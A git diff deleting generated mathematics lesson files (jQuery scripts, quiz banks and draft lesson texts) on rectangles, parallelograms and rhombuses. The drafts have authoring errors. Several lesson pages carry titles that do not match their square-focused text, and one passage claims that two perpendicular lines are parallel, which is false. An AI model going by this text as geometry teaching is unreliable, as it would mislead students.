+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a05 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a05/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/description.py b/Save_Mathematics/P4/map412m10/map412m10a05/description.py
deleted file mode 100644
index 0412121..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a05/js/lesson-karma.js
deleted file mode 100755
index f60bcb3..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a05 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a05/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a05/js/lesson.js
deleted file mode 100755
index 8d82595..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a05/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a05/lesson.js
deleted file mode 100644
index 2c450bf..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/source.txt b/Save_Mathematics/P4/map412m10/map412m10a05/source.txt
deleted file mode 100755
index b87f948..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Rectangle</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a06/a.txt b/Save_Mathematics/P4/map412m10/map412m10a06/a.txt
deleted file mode 100755
index 9cb4692..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a06/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Rectangle</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the rectangle.</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a06/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a06/css/divs.css
deleted file mode 100755
index 62416c9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a06/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a06/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a06/js/lesson-karma.js
deleted file mode 100755
index e8b242f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a06/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a06/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a06/js/lesson.js
deleted file mode 100755
index 3b3fd32..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a06/js/lesson.js
+++ /dev/null
@@ -1,102 +0,0 @@
-//problems in determining the length, width, perimeter, or area of a rectangle
-
-var something = ['yard','field','parking lot','floor','lake','pasture'];
-var units = ['mm2','cm2','dm2','m2','dam2','hm2','km2'];
-var factor = [0,100,10000,1000000,100000000,1000000000,1000000000000]
-var nunits = units.length;
-
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-};
-
-function shift(i1,i2,amount){
-  if(i2>i1){
-      f = factor[i2-i1];
-      return amount/f;
-  }else{
-      f = factor[i1-i2];
-      return amount*f;
-  }
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        type = Math.random();
-        if(type < 0.4){
-            //determine area from length and width
-            side = parseInt(generate_operand(1,100));
-            ratio = parseInt(generate_operand(2,6));
-            longer = side*ratio
-            area = side*longer;
-            perimeter = 2*(side+longer);
-            quiztxt = quiztxt+'{ ques: "The length of the sides of a rectangle are '
-            quiztxt = quiztxt+side+" and "+longer
-            quiztxt = quiztxt+" What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else if (type<0.7){
-            //determine perimeter from length and width
-            side = parseInt(generate_operand(1,100));
-            ratio = parseInt(generate_operand(2,6));
-            longer = side*ratio;
-            perimeter = 2*(side+longer);
-            quiztxt = quiztxt+'{ ques: "The sides of a rectangle are '
-            quiztxt = quiztxt+side+" and "+longer+" in length. "
-            quiztxt = quiztxt+" What is it's perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        }else{
-            //determine length, width, area from perimeter and ratio of sides
-            side = parseInt(generate_operand(1,100));
-            ratio = parseInt(generate_operand(2,6));
-            longer = side*ratio
-            perimeter = 2*(side+longer);
-            area = side*longer;
-            quiztxt = quiztxt+'{ ques: "The perimeter of a rectangle is '
-            quiztxt = quiztxt+perimeter+". The long side is "
-            quiztxt = quiztxt+ratio+" times the shorter. "
-            quiztxt = quiztxt+"What is the length of the shorter side?"+'"';
-            quiztxt = quiztxt+", ans:'"+side+"'},\n"
-            quiztxt = quiztxt+'{ ques: "The perimeter of a rectangle is '
-            quiztxt = quiztxt+perimeter+". The long side is "
-            quiztxt = quiztxt+ratio+" times the shorter. "
-            quiztxt = quiztxt+"What is the length of it's longer side?"+'"';
-            quiztxt = quiztxt+", ans:'"+ratio*side+"'},\n"
-            quiztxt = quiztxt+'{ ques: "The perimeter of a rectangle is '
-            quiztxt = quiztxt+perimeter+". The long side is " 
-            quiztxt = quiztxt+ratio+" times longer the shorter. " 
-            quiztxt = quiztxt+"What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m10/map412m10a06/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a06/js/quiz.js b/Save_Mathematics/P4/map412m10/map412m10a06/js/quiz.js
deleted file mode 100755
index 3d8e564..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a06/js/quiz.js
+++ /dev/null
@@ -1,32 +0,0 @@
-var quiz = {
-fill:[
-{ ques: "The perimeter of a rectangle is 960. The long side is 4 times the shorter. What is the length of the shorter side?", ans:'96'},
-{ ques: "The perimeter of a rectangle is 960. The long side is 4 times the shorter. What is the length of it's longer side?", ans:'384'},
-{ ques: "The perimeter of a rectangle is 960. The long side is 4 times longer the shorter. What is it's area?", ans:'36864'},
-{ ques: "The perimeter of a rectangle is 88. The long side is 3 times the shorter. What is the length of the shorter side?", ans:'11'},
-{ ques: "The perimeter of a rectangle is 88. The long side is 3 times the shorter. What is the length of it's longer side?", ans:'33'},
-{ ques: "The perimeter of a rectangle is 88. The long side is 3 times longer the shorter. What is it's area?", ans:'363'},
-{ ques: "The sides of a rectangle are 55 and 165 in length.  What is it's perimeter?", ans:'440'},
-{ ques: "The sides of a rectangle are 99 and 396 in length.  What is it's perimeter?", ans:'990'},
-{ ques: "The sides of a rectangle are 60 and 240 in length.  What is it's perimeter?", ans:'600'},
-{ ques: "The length of the sides of a rectangle are 38 and 114 What is it's area?", ans:'4332'},
-{ ques: "The perimeter of a rectangle is 770. The long side is 4 times the shorter. What is the length of the shorter side?", ans:'77'},
-{ ques: "The perimeter of a rectangle is 770. The long side is 4 times the shorter. What is the length of it's longer side?", ans:'308'},
-{ ques: "The perimeter of a rectangle is 770. The long side is 4 times longer the shorter. What is it's area?", ans:'23716'},
-{ ques: "The perimeter of a rectangle is 648. The long side is 3 times the shorter. What is the length of the shorter side?", ans:'81'},
-{ ques: "The perimeter of a rectangle is 648. The long side is 3 times the shorter. What is the length of it's longer side?", ans:'243'},
-{ ques: "The perimeter of a rectangle is 648. The long side is 3 times longer the shorter. What is it's area?", ans:'19683'},
-{ ques: "The sides of a rectangle are 31 and 62 in length.  What is it's perimeter?", ans:'186'},
-{ ques: "The sides of a rectangle are 96 and 480 in length.  What is it's perimeter?", ans:'1152'},
-{ ques: "The sides of a rectangle are 20 and 40 in length.  What is it's perimeter?", ans:'120'},
-{ ques: "The length of the sides of a rectangle are 54 and 216 What is it's area?", ans:'11664'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a06/source.txt b/Save_Mathematics/P4/map412m10/map412m10a06/source.txt
deleted file mode 100755
index 9cb4692..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a06/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Rectangle</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the rectangle.</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/a.txt b/Save_Mathematics/P4/map412m10/map412m10a07/a.txt
deleted file mode 100755
index 656cb3a..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/a.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Parallelogram</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a07/css/divs.css
deleted file mode 100755
index f959923..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a07 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a07/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/description.py b/Save_Mathematics/P4/map412m10/map412m10a07/description.py
deleted file mode 100644
index c13b22f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a07/js/lesson-karma.js
deleted file mode 100755
index 45f1f92..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a07 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a07/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a07/js/lesson.js
deleted file mode 100755
index 5df07a2..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a07/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a07/lesson.js
deleted file mode 100644
index c234fec..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a07/source.txt b/Save_Mathematics/P4/map412m10/map412m10a07/source.txt
deleted file mode 100755
index 656cb3a..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a07/source.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Parallelogram</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/a.txt b/Save_Mathematics/P4/map412m10/map412m10a08/a.txt
deleted file mode 100755
index b87f948..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Rectangle</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a08/css/divs.css
deleted file mode 100755
index ad24de6..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a08 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a08/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/description.py b/Save_Mathematics/P4/map412m10/map412m10a08/description.py
deleted file mode 100644
index e0d22b7..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a08/js/lesson-karma.js
deleted file mode 100755
index f5a396f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a08 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a08/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a08/js/lesson.js
deleted file mode 100755
index 5ad2ce1..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a08/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a08/lesson.js
deleted file mode 100644
index ee958b2..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a08/source.txt b/Save_Mathematics/P4/map412m10/map412m10a08/source.txt
deleted file mode 100755
index b87f948..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a08/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Rectangle</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a09/a.txt b/Save_Mathematics/P4/map412m10/map412m10a09/a.txt
deleted file mode 100755
index 3e083fe..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a09/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Parallelogram</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the parallelogram.</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a09/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a09/css/divs.css
deleted file mode 100755
index 62416c9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a09/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a09/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a09/js/lesson-karma.js
deleted file mode 100755
index e8b242f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a09/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a09/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a09/js/lesson.js
deleted file mode 100755
index 079cc86..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a09/js/lesson.js
+++ /dev/null
@@ -1,78 +0,0 @@
-//problems in computing the area given the base and the altitude
-//problems in computing the perimeter given the length of the sides
-
-var something = ['yard','field','parking lot','floor','lake','pasture'];
-var units = ['mm2','cm2','dm2','m2','dam2','hm2','km2'];
-var factor = [0,100,10000,1000000,100000000,1000000000,1000000000000]
-var nunits = units.length;
-
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-};
-
-function shift(i1,i2,amount){
-  if(i2>i1){
-      f = factor[i2-i1];
-      return amount/f;
-  }else{
-      f = factor[i1-i2];
-      return amount*f;
-  }
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        type = Math.random();
-        if(type < 0.5){
-            //determine area from base and vertical height
-            base = parseInt(generate_operand(1,100));
-            altitude = parseInt(generate_operand(1,100));
-            area = base*altitude;
-            quiztxt = quiztxt+'{ ques: "The base and altitude of a parallelogram are '
-            quiztxt = quiztxt+base+" "+altitude+". "
-            quiztxt = quiztxt+"What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else{
-            //determine perimeter from length of sides
-            side1 = parseInt(generate_operand(1,100));
-            side2 = parseInt(generate_operand(1,100));
-            perimeter = 2*(side1+side2);
-            quiztxt = quiztxt+'{ ques: "The sides of a parallelogram are '
-            quiztxt = quiztxt+side1+" "+side2+"	in length. "
-            quiztxt = quiztxt+"What is it's perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m10/map412m10a09/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a09/js/quiz.js b/Save_Mathematics/P4/map412m10/map412m10a09/js/quiz.js
deleted file mode 100755
index ad7d422..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a09/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ ques: "The base and altitude of a parallelogram are 86 28. What is it's area?", ans:'2408'},
-{ ques: "The base and altitude of a parallelogram are 74 53. What is it's area?", ans:'3922'},
-{ ques: "The base and altitude of a parallelogram are 88 5. What is it's area?", ans:'440'},
-{ ques: "The base and altitude of a parallelogram are 18 87. What is it's area?", ans:'1566'},
-{ ques: "The sides of a parallelogram are 8 47	in length. What is it's perimeter?", ans:'110'},
-{ ques: "The sides of a parallelogram are 76 82	in length. What is it's perimeter?", ans:'316'},
-{ ques: "The sides of a parallelogram are 84 74	in length. What is it's perimeter?", ans:'316'},
-{ ques: "The sides of a parallelogram are 60 90	in length. What is it's perimeter?", ans:'300'},
-{ ques: "The base and altitude of a parallelogram are 84 48. What is it's area?", ans:'4032'},
-{ ques: "The sides of a parallelogram are 1 30	in length. What is it's perimeter?", ans:'62'},
-{ ques: "The sides of a parallelogram are 63 5	in length. What is it's perimeter?", ans:'136'},
-{ ques: "The sides of a parallelogram are 14 69	in length. What is it's perimeter?", ans:'166'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a09/source.txt b/Save_Mathematics/P4/map412m10/map412m10a09/source.txt
deleted file mode 100755
index 3e083fe..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a09/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Parallelogram</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the parallelogram.</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/a.txt b/Save_Mathematics/P4/map412m10/map412m10a10/a.txt
deleted file mode 100755
index a9dd289..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/a.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Rhombus</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
